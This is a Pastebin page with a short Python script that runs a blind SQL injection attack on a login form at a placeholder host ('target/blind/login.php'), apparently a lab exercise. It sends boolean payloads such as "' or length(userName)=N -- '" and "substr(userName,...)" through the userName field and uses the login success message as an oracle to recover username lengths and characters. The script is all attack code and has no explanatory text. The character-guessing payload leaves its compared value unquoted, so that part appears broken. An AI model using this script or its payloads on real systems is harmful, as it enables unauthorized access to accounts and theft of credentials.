Advertisement
Guest User

Untitled

a guest
Nov 29th, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.20 KB | None | 0 0
  1. #!/usr/bin/python3
  2. import requests
  3. from string import ascii_letters
  4. from string import digits
  5. import code
  6. from urllib.request import urlopen
  7. from bs4 import BeautifulSoup
  8. from bs4 import Comment
  9. import sys, getopt
  10. MAX_FIELD_LENGTH = 24
  11. username_char = ascii_letters + digits
  12. password_char = ascii_letters + digits
  13. def get_answer(params):
  14.     r = requests.post('http://target/blind/login.php', data=params)
  15.     bsObj = BeautifulSoup(r.text, features="lxml")
  16.     if bsObj.find('div', {'class':'message'}).text == "You are successfully authenticated!":
  17.         return True
  18.     else:
  19.         return False
  20. username = ''
  21. password = ''
  22. count = 0
  23. length = 1
  24. user_lengths = []
  25. password_lengths = []
  26. users = {}
  27. while length != 9:
  28.     params = {'userName': "' or length(userName)="+ str(length) + " -- '", 'password': ''}
  29.     auth = get_answer(params)
  30.     if auth == True:
  31.         print('Username Length: ' + str(length))
  32.         user_lengths.append(length)
  33.     length += 1
  34. length = 1
  35. while length != 9:
  36.     chars = []
  37.     for c in username_char:
  38.         params = {'userName': "' or substr(userName," + str(length) + ", 1)=" + c + " -- ", 'password': ''}
  39.         auth = get_answer(params)
  40.         if auth == True:
  41.             chars.append(c)
  42.     users[length] = chars
  43.     length += 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement